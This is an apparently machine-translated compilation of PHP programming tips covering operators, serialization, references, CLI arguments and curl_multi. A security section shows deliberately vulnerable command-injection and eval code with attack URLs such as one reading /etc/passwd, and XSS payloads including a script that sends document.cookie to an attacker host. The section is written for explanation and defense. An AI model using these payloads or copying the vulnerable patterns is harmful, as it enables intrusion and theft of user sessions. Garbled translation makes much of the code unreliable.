Summary of _php skills based on PHP programming considerations

Source: Internet
Author: User
Tags form post html tags sql injection sql injection attack stmt strlen urlencode zend

1, PHP recessive ternary operator (?:) Priority issues:

Example 1:

Copy Code code as follows:

$person = $who or $person = "laruence";

is actually equivalent to:

$person = Empty ($who)? "Laruence": $who;



Case 2


Copy Code code as follows:

$arr = Array (1=>1,3=>3);
$i = 2;
$a = ' test '. Isset ($arr [$i])? $arr [$i]: $i;


What's the
$a? This question, I feel simple,

$a = ' test2 ';

In fact, after careful scrutiny of the operation, the result is notice:undefined index 2.

Because of the priority problem, the connector has a higher precedence than the ternary operator.

The first is to Judge ' test '. Isset ($arr [$i]) This string is always true, so:

$a = $arr [$i]; PHP prompts for reminders.

2. php function names and class names are case-insensitive, and variable names are case-sensitive.

So write your own PHP module, is often the problem of capitalization, compilation does not pass.

3. Serialization Delivery problem

Compress complex data types into a string
Serialize () encodes variables and their values into textual form
Unserialize () Restore original variable

Copy Code code as follows:

$stooges = Array (' Moe ', ' Larry ', ' Curly ');
$new = serialize ($stooges);
Print_r ($new); echo "<br/>";
Print_r (Unserialize ($new));
<span style= "font-family:arial; Background-color: #ffffff "></span>

Results: a:3:{i:0;s:3: "Moe"; I:1;s:5: "Larry"; I:2;s:5: "Curly";}
Array ([0] => Moe [1] => Larry [2] => Curly)
When you place these serialized data in a URL between pages, you need to call UrlEncode () on the data to ensure that the URL metacharacters are processed in it:

Copy Code code as follows:

$shopping = Array (' Poppy seed bagel ' => 2, ' Plain bagel ' =>1, ' Lox ' =>4);
Echo ' <a href= ' next.php?cart= '. UrlEncode (serialize ($shopping)). ' " >next</a> ';


The settings of the
MARGIC_QUOTES_GPC and magic_quotes_runtime configuration items affect the data that is passed to Unserialize ().


If the MAGIC_QUOTES_GPC entry is enabled, the data passed in URLs, post variables, and cookies must be processed with stripslashes () before deserialization:


Copy Code code as follows:

$new _cart = unserialize (stripslashes ($cart)); If MAGIC_QUOTES_GPC Open
$new _cart = unserialize ($cart);



if Magic_quotes_runtime is enabled, the serialized data must be processed in addslashes () before it is written to the file and must be processed with stripslashes () before it is read:


Copy Code code as follows:

$fp = fopen ('/tmp/cart ', ' W ');
Fputs ($FP, Addslashes (serialize ($a)));
Fclose ($FP);
If Magic_quotes_runtime Open
$new _cat = unserialize (stripslashes (file_get_contents ('/tmp/cart '));
If Magic_quotes_runtime is closed
$new _cat = unserialize (file_get_contents ('/tmp/cart '));



when Magic_quotes_runtime is enabled, reading serialized data from the database must also be handled by Stripslashes (), and the serialized data saved to the database must be processed by Addslashes (). So that it can be stored appropriately.


Copy Code code as follows:

mysql_query ("INSERT INTO cart (Id,data) VALUES (1, '". Addslashes (Serialize ($cart));
$rs = mysql_query (' Select data from cart where id=1 ');
$ob = Mysql_fetch_object ($RS);
If Magic_quotes_runtime Open
$new _cart = unserialize (stripslashes ($ob->data));
If Magic_quotes_runtime is closed
$new _cart = unserialize ($ob->data);



when you deserialize an object, PHP automatically calls its __wakeup () method. This allows the object to re-establish various states that could not be preserved when serialized. For example, database connections, and so on.

4. Reference considerations
Referencing in PHP means accessing the same variable content with a different name, referencing a pointer that is not a C (the pointer in the C language stores the contents of the variable, the address stored in memory), and is another alias or mapping for the variable. Note that in PHP, variable names and variable contents are not the same, so the same content can have different names. The closest analogy is the Unix file name and the file itself-the variable name is the directory entry, and the variable content is the file itself. References can be viewed as shortcuts to tightly connected or wins in the Unix file system.

1 unset A reference, just disconnects the variable name and the variable contents. That doesn't mean the variable content is destroyed.

For example: Do not unset $b, just $a.

Copy Code code as follows:

<?php

$a = 1;
$b =& $a;
unset ($a);
Echo $b; Output: 1:



The results of using unset ($a) and $a=null are not the same. If the block memory has only $a a map, then unset ($a) is equivalent to $a=null, the reference count of the memory becomes 0 and is automatically reclaimed, and if the block memory has $a and $b two mappings, then unset ($a) will cause $a=null and $b the same situation, $a= Null can cause $a= $b =null.


Reason: A variable assignment is null, which causes the reference count of the memory block corresponding to the variable to be set directly to 0 and automatically recycled.

2 PHP Reference is to use reference counting, write-time copy

Many people misunderstand that the reference in PHP is the same as the pointer in C, which is actually not the case, and it's a big difference. The pointer in C language is not explicitly declared except in the array pass. All others need to use * to define, and PHP for the address (like a pointer) function is not implemented by the user, is implemented by the Zend Core, PHP referenced by the "reference count, write-time copy" principle, ( Write-time copy (Copy-on-Write, also abbreviated as Cow), as the name suggests, is to write a real copy of the memory to modify. )

Is that unless a write occurs, a variable or object that points to the same address is not copied, such as the following code:
$a = Array (' A ', ' C ' ... ' n ');
$b = $a;
If the program only executes here, $b and $b are the same, but not like C, $a and $b occupy different memory space, but point to the same memory, which is the difference between PHP and C, do not need to write a $b=& $a to represent the $b point to $a memory, Zend has helped you implement the citation, and Zend will be very intelligent to help you determine when to do so and when to do so.

If you continue to write the following code later, add a function, pass the argument by reference, and print out the array size.

Copy Code code as follows:

Function PrintArray (& $arr)//reference delivery
{
Print (count ($arr));
}
PrintArray ($a);



The above code, we pass the $a array to the PrintArray () function, the Zend engine will think that PrintArray () may cause changes to the $a, at this time will automatically produce a $b copy of the data, and reapply for a piece of memory for storage. This is the "reference count, write-time copy" concept mentioned earlier.

Intuitive understanding: $a will use their original memory space, and $b will use the new memory space, and this space will use $a original ($a or $b change before the content of the content space copy, then do the corresponding changes.

If we change the above code to the following:

Copy Code code as follows:

function PrintArray ($arr)//value delivery
{
Print (count ($arr));
}
PrintArray ($a);



the above code directly passes the $a value to PrintArray (), there is no reference passing, so no write-time copy appears.

5. The problem of coding

The program code uses UTF-8 code, and the Strlen function computes the number of bytes in the string rather than the number of characters?
$str = "Hello hello";

echo strlen ($STR);

Results: Ansi=9 and Utf-8=11,utf-8 are 3 bytes in character encoding. To get the number of characters, use Mb_strlen ().

6. Three ways to get parameters from PHP

Method one uses $ARGC $argv

Copy Code code as follows:

<?php
if ($ARGC > 1) {
Print_r ($ARGV);
}



run/usr/local/php/bin/php./getopt.php-f 123-g 456

at the command line

Run Result:
#/usr/local/php/bin/php/getopt.php-f 123-g 456
Array
(
[0] =>./getopt.php
[1] =>-F
[2] => 123
[3] =>-G
[4] => 456
)

Method two uses the Getopt function ()

Copy Code code as follows:

$options = "F:g:";
$opts = getopt ($options);
Print_r ($opts);



run/usr/local/php/bin/php./getopt.php-f 123-g 456
at the command line

Run Result:


Array


        (


[f] =&gt; 123


[g] =&gt; 456


        )

Method three prompts the user for input, and then gets the input parameters. Kind of like C language.

Copy Code code as follows:

Fwrite (STDOUT, "Enter Your Name:");
$name = Trim (fgets (STDIN));
Fwrite (STDOUT, "Hello, $name!");



runs/usr/local/php/bin/php./getopt.php at the command line


Run Results


Enter your Name:francis


Hello, francis!


7. PHP string can be used as an array, and the C-pointer string

Copy Code code as follows:

<?php
$s = ' 12345 ';
$s [$s [0]] = 0;
Echo $s;
?>



result is 10345


8. PHP's Efficient writing:

9. PHP Security Vulnerability Problem:

There are several types of attacks for PHP sites:

1. Command Injection (injection)

PHP can use the following 5 functions to perform external applications or functions system, exec, PassThru, Shell_exec, "(Same as shell_exec function)
Such as:

Copy Code code as follows:

<?php
$dir = $_get["dir"];
if (Isset ($dir)) {
echo "";
System ("Ls-al". $dir);
echo "";
}
?>



We submit http://www.test.com/ex1.php?dir=| CAT/ETC/PASSWD, the command becomes system ("Ls-al | CAT/ETC/PASSWD "); Our server user information has been stolen.

2. Eval Injection (eval injection)

The Eval function executes the input string parameters as PHP code, and the eval injection typically occurs when an attacker can control the input string.

Copy Code code as follows:

$var = "Var";
if (Isset ($_get["arg"))
{
$arg = $_get["arg"];
Eval ("\ $var = $arg;");
echo "\ $var =". $var;
}
?>



when we submit http://www.sectop.com/ex2.php?arg=phpinfo (); the loophole arose;

Methods to guard against command injection and eval injection

1), try not to carry out external commands.

2, using custom functions or libraries to replace the functions of external commands, and even some servers directly prohibit the use of these functions.

3), using the Escapeshellarg function to handle the command parameters, the ESACPESHELLARG function will cause any arguments or command end of the word escape, single quotes "'", replaced with "\", double quotes "" ", replaced by" \ ", semicolon"; " Replace with "\;"

3. Client-side scripting attacks (script insertion)

Attack steps for client-side scripting implants

1), the attacker registered ordinary users after the landing site

2, open the Message page, insert the attack JS code

3, other users login site (including administrators), browse the content of this message

4, hidden in the message content of the JS code was executed, the attack was successful

Form enter a script that some browsers can perform:

Insert <script>while (1) {Windows.open ();} </script> Infinite Bomb Frame

Insert <script>location.href= "http://www.sectop.com";</script> jump phishing page
The best way to prevent malicious HTML tags is to use htmlspecailchars or htmlentities to turn some strings into HTML entities.

4, cross-site scripting attacks (Cross site scripting, XSS)

A malicious attacker inserts malicious HTML code into a Web page, and when the user browses to the page, the HTML code embedded inside the Web is executed to achieve the special purpose of the malicious user.

Cross-site scripting is primarily exploited by an attacker to read cookies or other personal data from a website user, and once an attacker obtains that data, he can then disguise himself as the user to log on to the site and gain access to the user.

General steps for cross-site scripting attacks:

1. An attacker sends an XSS HTTP link to a target user in some way, such as a comment form:

Insert <script>document.location= "Go.somewhere.bad?" cookie=+ "this.cookie</script>

or a link:

http://w w w.my.site/index.php?user=< Script >document.location= "http://w w w.atacker.site/get.php?cookie=" + document.cookie;</SCRIPT >

2), the target user login this site, during the login opened the attacker sent XSS link

3), the website executed this XSS attack script

4, the target user page jumps to the attacker's website, the attacker obtains the target user's information

5, the attacker uses the information of the target user to login the website, completes the attack

The best way to prevent malicious HTML tags is to use htmlspecailchars or htmlentities to turn some strings into HTML entities.

5. SQL injection attack (SQL injection)

The most effective defense method for SQL injection is to use prepared statements:

The prepared statement (also called the preliminary statement prepared statements) is a query that sends them to the server for precompilation and preparation, and tells it where to store the parameters at a later time when the query is executed.

Its advantages:

1) to escape the value of the parameter. Therefore, you do not have to call like mysqli::real_escape_string or enclose parameters in quotation marks.

2 when executed more than once in a script, the performance of a prepared statement is usually better than sending a query over the network each time, and when a query is executed again, only the parameters are sent to the database, which takes up less space.

1) with PDO (PHP Data Objects):

Copy Code code as follows:

PHP PDO::p repare () and execute ()

$preparedStatement = $db->prepare (' INSERT into table (column) VALUES (: Column) ');

$preparedStatement->execute (Array (': Column ' => $unsafeValue));



2) using mysqli:


Copy Code code as follows:

$stmt = $dbConnection->prepare (' SELECT * FROM employees WHERE name =? ');

$stmt->bind_param (' s ', $name);

$stmt->execute ();

$result = $stmt->get_result ();

while ($row = $result->fetch_assoc ()) {

Do something with $row

}



6, cross-site request forgery attack (Cross site request forgeries, CSRF)

7. Session hijacking (Sessions hijacking)

8, session fixed attack (session fixation)

9. HTTP response Split attack (HTTP Response splitting)

10. File Upload Vulnerability (Files Upload Attack)

11, directory through the Vulnerability (directory traversal)

12. Remote file contains attack (remotely inclusion)

13, dynamic function injection attack (dynamically Variable evaluation)

14, url attack (URL attack)

15, form submission spoofing attack (spoofed form submissions)

16. HTTP request Spoofing Attack (spoofed HTTP Requests)

Several important php.ini options: register_globals, Magic_quotes, Safe_mode. These options will be discarded in PHP5.4.

Register_globals:

The default value for the Register_globals option for Php>=4.2.0,php.ini is off, when register_globals

When on, the program can receive various environment variables from the server, including variables submitted by the form, and because PHP does not have to initialize the value of the variable in advance, it causes a great security risk.

Be sure to disable register_globals. If you enable Register_globals, you may do something careless, such as using $variable to replace a GET or POST string with the same name. By disabling this setting, PHP forces you to reference the correct variable in the correct namespace. To use a variable from the form POST, you should refer to $_post[' variable '. This will not misunderstand this particular variable as a cookie, session, or get variable.

Safe_mode:

Safe Mode, PHP is used to restrict access to documents, restrict access to environment variables, and control the execution of external programs. Enable Safe mode must set the Safe_mode=on in php.ini

Magic_quotes

Used to automatically escape the input information of a PHP program, all single quotes ("'"), double quotes (""), backslashes ("\"), and null characters (NULL) are automatically escaped with a backslash magic_quotes_gpc=on used to set magicquotes as on, It affects the HTTP request data (GET, POST, Cookies) The programmer can also use Addslashes to escape the submitted HTTP request data or use Stripslashes to remove the escape.


Curl multiple requests concurrent use

Curl you must have used, but the use of the situation is not estimated. But in some cases it is really useful, such as invoking multiple other interfaces within the same request, and the traditional method requires a serial request interface:

file_get_contents (' http://a.php ');//1 second

file_get_contents (' http://b.php ');//2 second

file_get_contents (' http://c.php ');//2 second

That takes 5 seconds here, but the Muti method of operating curl, we only need 2 seconds to complete the request. In the PHP manual there is a section of code:

Copy Code code as follows:

    $MRC = Curl_multi_init (); 
    Issue request  
    ....... 
    $active = null; 
    ;         do { 
                 $MRC = curl_multi_exec ($MH, $active); 
             while ($MRC = = curlm_call_multi_perform); 

  & nbsp;         while ($active && $MRC = = CURLM_OK) { 
 & nbsp;              if (Curl_multi_select ($MH)!= -1) { 
                     do { 
&NBSP;&NBSP;&NBSP;&NBSP;&Nbsp;                    $MRC = curl_multi_exec ($MH, $active); 
                     while ($MRC = = curlm_call_multi_perform); 
 & nbsp;             } 
            } 
   //Below is the result of processing the request return  



but if I had 1000 requests, then the curl batch would have 1000 requests, obviously unreasonable, so you should control a concurrency number and add the remaining connections to the request queue:


reference: How to use Curl_multi () without blocking


Copy Code code as follows:



&lt;?php


$connomains = Array (


//2.php himself to some
.

"Http://localhost/2.php?id=1",//sleep (1) Seconds


"http://localhost/2.php?id=2",//sleep (2) Seconds


"Http://localhost/2.php?id=5",//sleep (5) Seconds


    );





$mh = Curl_multi_init ();





foreach ($connomains as $i =&gt; $url) {


$conn [$i] = Curl_init ($url);//Initialize each child connection


curl_setopt ($conn [$i], Curlopt_returntransfer, 1);//do not output directly to the browser


Curl_multi_add_handle ($MH, $conn [$i]);/Add a handle to a handle


    } 





$active = 0;//Connection number





do {


do{


//Here $active will be overwritten to the current number of unhandled


//Full processing Success $active will become 0


$MRC = curl_multi_exec ($MH, $active);





//The purpose of this loop is to read and write as much as possible until you cannot continue reading and writing (return CURLM_OK)


return (curlm_call_multi_perform) means that you can continue to read and write to the network


}while ($MRC ==curlm_call_multi_perform);





     


//If everything is OK, then we have to do a poll, every time (default is 1 seconds) to request again


//This is the role of Curl_multi_select, which in the waiting process, if there is to return the current number of handles can read and write in order to


//continued read/write operation, 0 no read-write handle (completed)


} while ($MRC ==curlm_ok&amp;&amp; $active &amp;&amp;curl_multi_select ($MH)!=-1)//until error or full read/write





if ($MRC!= curlm_ok) {


print "Curl multi read error $MRC/n";


    } 





//Retrieve data


foreach ($connomains as $i =&gt; $url) {


if ($err = Curl_error ($conn [$i])) = = ') {


$res [$i]=curl_multi_getcontent ($conn [$i]);


} else {


print "Curl error on handle $i: $err/n";


      } 


Curl_multi_remove_handle ($MH, $conn [$i]);


curl_close ($conn [$i]);


    } 


Curl_multi_close ($MH);





Print_r ($res);


?&gt;





Some people for the sake of convenience, this writing:

do {curl_multi_exec ($MH, $active);} while ($active);

Seemingly can also get results, but in fact very not rigorous, and very wasteful of the CPU, because this cycle will always be called, until all links are processed, in the loop add a print ' a ' can see the effect.


11, empty Use magic method __get judge whether the object property is null or not function

Please note that results of empty () is called on non-existing/non-public variables of a class are a bit confusing if u Sing Magic Method __get (as previously mentioned from Nahpeps at gmx dot de). Consider this example:

Copy Code code as follows:

<?php
class Registry
{
    protected $_items = Array ();
    Public Function __set ($key, $value)
    {
         $this->_items[$key] = $value;
   }
    Public Function __get ($key)
    {
         if (isset ($this->_items[$key]) {
            return $this->_items[$key];
       } else {
             return null;
       }
   }
}

$registry = new Registry ();
$registry->empty = ';
$registry->notempty = ' not empty ';

Var_dump (Empty ($registry->notexisting));//true, so farGood
Var_dump empty ($registry->empty));/true, so far good
Var_dump (empty ($registry->notempty)); True,.. Say what?
$tmp = $registry->notempty;
Var_dump (Empty ($tmp));//False as expected




12, Linux command line execution PHP file format must be UNIX.

PHP./test.php
If Test.php is uploaded by WinDOS, the format may be DOS.
Then run the command to error: Could not open input file

We can use the following in VI: Set FF to view the format:

Fileformat=dos


If it is a DOS format, then use: Set Ff=unix to format the new


Then use: Set FF to view the format, you can see the format is already UNIX;


Fileformat=unix

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.